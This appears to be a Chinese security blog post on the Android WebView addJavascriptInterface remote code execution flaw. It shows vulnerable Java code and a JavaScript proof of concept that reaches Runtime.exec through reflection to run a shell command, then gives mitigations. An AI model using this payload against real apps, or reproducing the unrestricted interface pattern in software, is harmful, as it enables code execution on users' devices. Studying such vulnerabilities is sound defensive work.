Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序使用WebView.addJavascriptInterface可以实现网页JS与本地JAVA的交互,但是没有限制已注册JAVA类的方法调用,类中的任何public函数都可以在JS代码中访问,这就导致可以调用getClass通过java反射机制来执行任意Java对象的方法。
例如:利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令:
java代码:
WebView webView1 = (WebView)findViewById(R.id.webView1);
JavaScriptInterface myJavaScriptInterface = new JavaScriptInterface();
webView1.addJavascriptInterface(myJavaScriptInterface,"injectedObj");
webView1.loadUrl("http://www.example.com");
js代码:
<html>
<body>
<script>
function execute(cmdArgs) {
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
建议有以下几种方法可以避免这种情况的发生
(1)避免调用addJavascriptInterface()方法,或者将API等级设为17或者更高级别,对于这些API等级,只有被标注了JavascriptInterface的公共方法才可以从JavaScript访问。
(2)webview组件会默认内置一个searchBoxJavaBridge_接口,故需要使用removeJavascriptInterface移除searchBoxJavaBridge_。
(3)调用了Android/webkit/AccessibilityInjector组件的应用在开启辅助功能选项中第三方服务的安卓系统会默认添加accessibility和accessibilityTraversal接口,同样需要使用removeJavascriptInterface进行移除。
废话不多说 直接上代码示例


网友评论